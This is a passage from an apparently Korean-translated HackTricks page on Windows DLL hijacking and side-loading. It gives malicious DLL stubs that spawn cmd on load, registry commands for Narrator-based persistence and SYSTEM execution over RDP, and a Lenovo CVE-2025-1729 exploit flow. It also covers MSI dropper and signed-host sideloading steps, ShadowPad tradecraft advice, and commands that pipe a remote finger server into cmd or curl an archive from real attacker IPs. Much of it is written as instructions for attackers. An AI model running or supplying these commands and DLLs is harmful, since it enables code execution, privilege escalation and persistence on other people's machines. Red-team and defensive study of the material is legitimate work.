#include<windows.h> #include<stdlib.h> #include<stdio.h>

void Entry (){ //Default function that is executed when the DLL is loaded system(“cmd”); }

BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call){ case DLL_PROCESS_ATTACH: CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DEATCH: break; } return TRUE; }

</details>

## 사례 연구: Narrator OneCore TTS Localization DLL Hijack (Accessibility/ATs)

Windows Narrator.exe는 시작 시 예측 가능한 언어별 localization DLL을 여전히 탐색하며, 이는 arbitrary code execution 및 persistence를 위해 hijacked될 수 있습니다.

핵심 사실
- 탐색 경로(현재 빌드): `%windir%\System32\speech_onecore\engines\tts\msttsloc_onecoreenus.dll` (EN-US).
- 레거시 경로(이전 빌드): `%windir%\System32\speech\engine\tts\msttslocenus.dll`.
- OneCore 경로에 쓰기 가능한 공격자가 제어하는 DLL이 존재하면 해당 DLL이 로드되고 `DllMain(DLL_PROCESS_ATTACH)`가 실행됩니다. 내보내기(exports)는 필요 없습니다.

Procmon으로 탐지
- 필터: `Process Name is Narrator.exe` 및 `Operation is Load Image` 또는 `CreateFile`.
- Narrator를 시작하고 위 경로의 로드 시도를 관찰하세요.

최소 DLL
```c
// Build as msttsloc_onecoreenus.dll and place in the OneCore TTS path
BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID) {
if (r == DLL_PROCESS_ATTACH) {
// Optional OPSEC: DisableThreadLibraryCalls(h);
// Suspend/quiet Narrator main thread, then run payload
// (see PoC for implementation details)
}
return TRUE;
}

OPSEC silence

• A naive hijack will speak/highlight UI. To stay quiet, on attach enumerate Narrator threads, open the main thread (OpenThread(THREAD_SUSPEND_RESUME)) and SuspendThread it; continue in your own thread. See PoC for full code.

Trigger and persistence via Accessibility configuration

• User context (HKCU): reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Accessibility" /v configuration /t REG_SZ /d "Narrator" /f
• Winlogon/SYSTEM (HKLM): reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility" /v configuration /t REG_SZ /d "Narrator" /f
• 위 설정으로 Narrator를 시작하면 심어둔 DLL이 로드됩니다. 보안 데스크톱(로그온 화면)에서는 CTRL+WIN+ENTER를 눌러 Narrator를 시작하세요; 해당 DLL이 보안 데스크톱에서 SYSTEM 권한으로 실행됩니다.

RDP-triggered SYSTEM execution (lateral movement)

• Allow classic RDP security layer: reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 0 /f
• RDP to the host, at the logon screen press CTRL+WIN+ENTER to launch Narrator; your DLL executes as SYSTEM on the secure desktop.
• 실행은 RDP 세션이 닫히면 중단됩니다 — 신속히 inject/migrate 하세요.

Bring Your Own Accessibility (BYOA)

• You can clone a built-in Accessibility Tool (AT) registry entry (e.g., CursorIndicator), edit it to point to an arbitrary binary/DLL, import it, then set configuration to that AT name. This proxies arbitrary execution under the Accessibility framework.

Notes

• Writing under %windir%\System32 and changing HKLM values requires admin rights.
• All payload logic can live in DLL_PROCESS_ATTACH; no exports are needed.

사례 연구: CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe

This case demonstrates Phantom DLL Hijacking in Lenovo’s TrackPoint Quick Menu (TPQMAssistant.exe), tracked as CVE-2025-1729.

Vulnerability Details

• Component: TPQMAssistant.exe located at C:\ProgramData\Lenovo\TPQM\Assistant\.
• Scheduled Task: Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTask runs daily at 9:30 AM under the context of the logged-on user.
• Directory Permissions: Writable by CREATOR OWNER, allowing local users to drop arbitrary files.
• DLL Search Behavior: Attempts to load hostfxr.dll from its working directory first and logs “NAME NOT FOUND” if missing, indicating local directory search precedence.

Exploit Implementation

An attacker can place a malicious hostfxr.dll stub in the same directory, exploiting the missing DLL to achieve code execution under the user’s context:

#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD fdwReason, LPVOID lpReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
// Payload: display a message box (proof-of-concept)
MessageBoxA(NULL, "DLL Hijacked!", "TPQM", MB_OK);
}
return TRUE;
}

공격 흐름

1. As a standard user, drop hostfxr.dll into C:\ProgramData\Lenovo\TPQM\Assistant\.
2. 예약된 작업이 현재 사용자 컨텍스트에서 오전 9:30에 실행될 때까지 대기합니다.
3. 작업이 실행될 때 관리자가 로그인한 상태이면, 악성 DLL이 관리자의 세션에서 medium integrity로 실행됩니다.
4. 표준 UAC bypass 기법을 연결하여 medium integrity에서 SYSTEM 권한으로 권한 상승합니다.

사례 연구: MSI CustomAction Dropper + DLL Side-Loading via Signed Host (wsc_proxy.exe)

위협 행위자는 신뢰된 서명된 프로세스 하에서 페이로드를 실행하기 위해 MSI 기반 dropper를 DLL side-loading과 자주 결합합니다.

Chain overview

• User downloads MSI. A CustomAction runs silently during the GUI install (e.g., LaunchApplication or a VBScript action), reconstructing the next stage from embedded resources.
• The dropper writes a legitimate, signed EXE and a malicious DLL to the same directory (example pair: Avast-signed wsc_proxy.exe + attacker-controlled wsc.dll).
• When the signed EXE is started, Windows DLL search order loads wsc.dll from the working directory first, executing attacker code under a signed parent (ATT&CK T1574.001).

MSI analysis (what to look for)

• CustomAction table:
• Look for entries that run executables or VBScript. Example suspicious pattern: LaunchApplication executing an embedded file in background.
• In Orca (Microsoft Orca.exe), inspect CustomAction, InstallExecuteSequence and Binary tables.
• Embedded/split payloads in the MSI CAB:
• Administrative extract: msiexec /a package.msi /qb TARGETDIR=C:\out
• Or use lessmsi: lessmsi x package.msi C:\out
• Look for multiple small fragments that are concatenated and decrypted by a VBScript CustomAction. Common flow:

' VBScript CustomAction (high level)
' 1) Read multiple fragment files from the embedded CAB (e.g., f0.bin, f1.bin, ...)
' 2) Concatenate with ADODB.Stream or FileSystemObject
' 3) Decrypt using a hardcoded password/key
' 4) Write reconstructed PE(s) to disk (e.g., wsc_proxy.exe and wsc.dll)

wsc_proxy.exe를 이용한 Practical sideloading

• 이 두 파일을 동일한 폴더에 넣습니다:
• wsc_proxy.exe: 정식으로 서명된 호스트(Avast). 프로세스는 자신의 디렉터리에서 이름으로 wsc.dll을 로드하려 시도합니다.
• wsc.dll: 공격자 DLL. 특정 exports가 필요 없다면 DllMain으로 충분합니다; 그렇지 않으면 proxy DLL을 만들어 필요한 exports를 genuine library로 포워딩하면서 DllMain에서 payload를 실행하세요.
• 최소한의 DLL payload를 빌드합니다:

// x64: x86_64-w64-mingw32-gcc payload.c -shared -o wsc.dll
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID) {
if (r == DLL_PROCESS_ATTACH) {
WinExec("cmd.exe /c whoami > %TEMP%\\wsc_sideload.txt", SW_HIDE);
}
return TRUE;
}

• 익스포트 요구사항이 있을 경우, DLLirant/Spartacus 같은 프록시 프레임워크를 사용해 페이로드도 실행하는 포워딩 DLL을 생성하라.

• 이 기법은 호스트 바이너리의 DLL 이름 해석에 의존한다. 호스트가 절대 경로나 안전 로딩 플래그(e.g., LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories)를 사용하면 하이재킹이 실패할 수 있다.

• KnownDLLs, SxS, 및 forwarded exports는 우선순위에 영향을 줄 수 있으므로 호스트 바이너리와 익스포트 집합을 선택할 때 고려해야 한다.

서명된 트라이어드 + 암호화된 페이로드 (ShadowPad case study)

Check Point는 Ink Dragon이 ShadowPad를 디스크에 핵심 페이로드를 암호화된 상태로 유지하면서 합법적 소프트웨어에 섞어 배포하기 위해 three-file triad를 어떻게 사용하는지 설명했다:

1. Signed host EXE – AMD, Realtek, 또는 NVIDIA 같은 벤더의 바이너리(vncutil64.exe, ApplicationLogs.exe, msedge_proxyLog.exe)가 악용된다. 공격자는 실행파일 이름을 Windows 바이너리처럼 보이게(예: conhost.exe) 변경하지만 Authenticode 서명은 유효하게 남아 있다.
2. Malicious loader DLL – EXE 옆에 예상되는 이름(vncutil64loc.dll, atiadlxy.dll, msedge_proxyLogLOC.dll)으로 드롭된다. 해당 DLL은 보통 ScatterBrain 프레임워크로 난독화된 MFC 바이너리이며, 유일한 역할은 암호화된 블롭을 찾아 복호화하고 ShadowPad를 reflective map 하는 것이다.
3. Encrypted payload blob – 종종 같은 디렉터리의 <name>.tmp로 저장된다. 복호화된 페이로드를 메모리 매핑한 후 로더는 포렌식 증거를 없애기 위해 TMP 파일을 삭제한다.

Tradecraft notes:

• 서명된 EXE의 이름을 변경하되 PE 헤더의 원본 OriginalFileName을 유지하면 Windows 바이너리처럼 가장하면서도 벤더 서명을 유지할 수 있다. 따라서 Ink Dragon이 실제로는 AMD/NVIDIA 유틸리티인 conhost.exe처럼 보이는 바이너리를 드롭한 관행을 모방하라.
• 실행파일이 신뢰된 상태로 유지되므로 대부분의 allowlisting 제어는 악성 DLL이 그 옆에 위치하는 것만으로도 충분하다. 로더 DLL 커스터마이징에 집중하라; 서명된 부모는 일반적으로 변경 없이 실행될 수 있다.
• ShadowPad의 복호화기는 TMP 블롭이 로더 옆에 존재하며 매핑 후 파일을 제로화할 수 있도록 쓰기 가능(writeable)해야 한다고 기대한다. 페이로드가 로드될 때까지 디렉터리를 쓰기 가능하게 유지하라; 일단 메모리에 올라가면 TMP 파일은 OPSEC을 위해 안전하게 삭제할 수 있다.

LOLBAS stager + staged archive sideloading chain (finger → tar/curl → WMI)

운영자들은 DLL sideloading을 LOLBAS와 결합해 디스크에 남는 커스텀 아티팩트가 신뢰된 EXE 옆의 악성 DLL 하나뿐이 되도록 한다:

• Remote command loader (Finger): 은닉된 PowerShell이 cmd.exe /c를 생성하고 Finger 서버에서 명령을 가져와 cmd로 파이핑한다:

powershell.exe Start-Process cmd -ArgumentList '/c finger Galo@91.193.19.108 | cmd' -WindowStyle Hidden

• finger user@host는 TCP/79로 텍스트를 가져오고; | cmd는 서버 응답을 실행해 운영자가 서버 측에서 세컨드 스테이지를 교체할 수 있게 한다.

• Built-in download/extract: 무해해 보이는 확장자를 가진 아카이브를 다운로드하고 이를 풀어 sideload 대상과 DLL을 임의의 %LocalAppData% 폴더 아래에 스테이징한다:

$base = "$Env:LocalAppData"; $dir = Join-Path $base (Get-Random); curl -s -L -o "$dir.pdf" 79.141.172.212/tcp; mkdir "$dir"; tar -xf "$dir.pdf" -C "$dir"; $exe = "$dir\intelbq.exe"

• curl -s -L은 진행을 숨기고 리다이렉트를 따른다; tar -xf는 Windows 내장 tar를 사용한다.

• WMI/CIM launch: EXE를 WMI로 시작해 원격 모니터링에 CIM이 생성한 프로세스로 표시되게 하면서 같은 위치의 DLL을 로드하게 한다:

Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = "`"$exe`""}

• 로컬 DLL을 우선하는 바이너리(e.g., intelbq.exe, nearby_share.exe)와 함께 동작한다; 페이로드(e.g., Remcos)는 신뢰된 이름으로 실행된다.

• Hunting: /p, /m, /c가 함께 등장하는 forfiles를 탐지 경보하라; 관리자 스크립트 밖에서는 드물다.

사례 연구: NSIS dropper + Bitdefender Submission Wizard sideload (Chrysalis)

최근 Lotus Blossom 침투는 신뢰된 업데이트 체인을 악용해 NSIS로 패킹된 dropper를 전달했으며, 이는 DLL sideload와 완전한 인메모리 페이로드들을 스테이지했다.

공격 흐름

• update.exe (NSIS)는 %AppData%\Bluetooth를 생성하고 이를 HIDDEN으로 표시한 다음 이름이 바뀐 Bitdefender Submission Wizard BluetoothService.exe, 악성 log.dll, 그리고 암호화된 블롭 BluetoothService를 드롭하고 EXE를 실행한다.
• 호스트 EXE는 log.dll을 임포트하고 LogInit/LogWrite를 호출한다. LogInit은 블롭을 메모리 매핑(mmap)으로 로드한다; LogWrite는 custom LCG 기반 스트림(상수 0x19660D / 0x3C6EF35F, 키 재료는 이전 해시에서 유도)을 사용해 이를 복호화하고, 버퍼를 평문 쉘코드로 덮어쓴 뒤 임시를 해제하고 그 위치로 점프한다.
• IAT를 회피하기 위해 로더는 export 이름을 해싱하여 API를 해결한다( FNV-1a basis 0x811C9DC5 + prime 0x1000193 ), 이어서 Murmur 스타일의 avalanche(0x85EBCA6B)를 적용하고 솔트된 타겟 해시와 비교한다.

Main shellcode (Chrysalis)

• 키 gQ2JR&9;로 add/XOR/sub을 다섯 번 반복해 PE 유사 메인 모듈을 복호화한 다음 동적으로 Kernel32.dll → GetProcAddress를 로드해 임포트 해결을 완료한다.
• 런타임에 문자별 비트 회전/XOR 변환으로 DLL 이름 문자열을 재구성한 다음 oleaut32, advapi32, shlwapi, user32, wininet, ole32, shell32를 로드한다.
• 두 번째 리졸버는 PEB → InMemoryOrderModuleList를 순회하고 각 export 테이블을 4바이트 블록 단위로 Murmur 스타일 믹싱으로 파싱하며, 해시를 찾지 못할 때만 GetProcAddress로 폴백한다.

Embedded configuration & C2

• 구성은 드롭된 BluetoothService 파일 내부 offset 0x30808(크기 0x980)에 존재하며 키 qwhvb^435h&*7로 RC4 복호화되어 C2 URL 및 User-Agent를 드러낸다.
• 비콘은 점(.)으로 구분된 호스트 프로파일을 구성하고 태그 4Q를 앞에 붙인 뒤 HTTPS로 HttpSendRequestA를 호출하기 전에 키 vAuig34%^325hGV로 RC4 암호화한다. 응답은 RC4 복호화되어 태그 스위치로 분기된다(4T 셸, 4V 프로세스 실행, 4W/4X 파일 쓰기, 4Y 읽기/유출, 4\\ 제거, 4 드라이브/파일 열거 + 청크 전송 등).
• 실행 모드는 CLI 인수로 분기된다: 인수가 없으면 설치 지속성(service/Run 키)으로 -i를 가리키도록 설치; -i는 자신을 -k와 함께 재실행; -k는 설치를 건너뛰고 페이로드를 실행한다.

Alternate loader observed

• 동일한 침투는 Tiny C Compiler를 드롭하고 C:\ProgramData\USOShared\에서 svchost.exe -nostdlib -run conf.c를 실행했으며, 그 옆에 libtcc.dll이 있었다. 공격자가 제공한 C 소스는 쉘코드를 임베드해 컴파일되어 PE 없이 디스크에 기록하지 않고 인메모리에서 실행되었다. 재현 예:

C:\ProgramData\USOShared\tcc.exe -nostdlib -run conf.c

• 이 TCC 기반 compile-and-run stage는 런타임에 Wininet.dll을 임포트하고 하드코딩된 URL에서 second-stage shellcode를 불러와 컴파일러 실행을 가장하는 유연한 loader를 제공했습니다.

참고자료

• Red Canary – Intelligence Insights: January 2026
• CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe
• Microsoft Store - TPQM Assistant UWP
• https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e
• https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html
• Check Point Research – Nimbus Manticore Deploys New Malware Targeting Europe
• TrustedSec – Hack-cessibility: When DLL Hijacks Meet Windows Helpers
• PoC – api0cradle/Narrator-dll
• Sysinternals Process Monitor
• Unit 42 – Digital Doppelgangers: Anatomy of Evolving Impersonation Campaigns Distributing Gh0st RAT
• Check Point Research – Inside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation
• Rapid7 – The Chrysalis Backdoor: A Deep Dive into Lotus Blossom’s toolkit
• 0xdf – HTB Bruno ZipSlip → DLL hijack chain

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

• 구독 계획 확인하기!
• **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
• HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.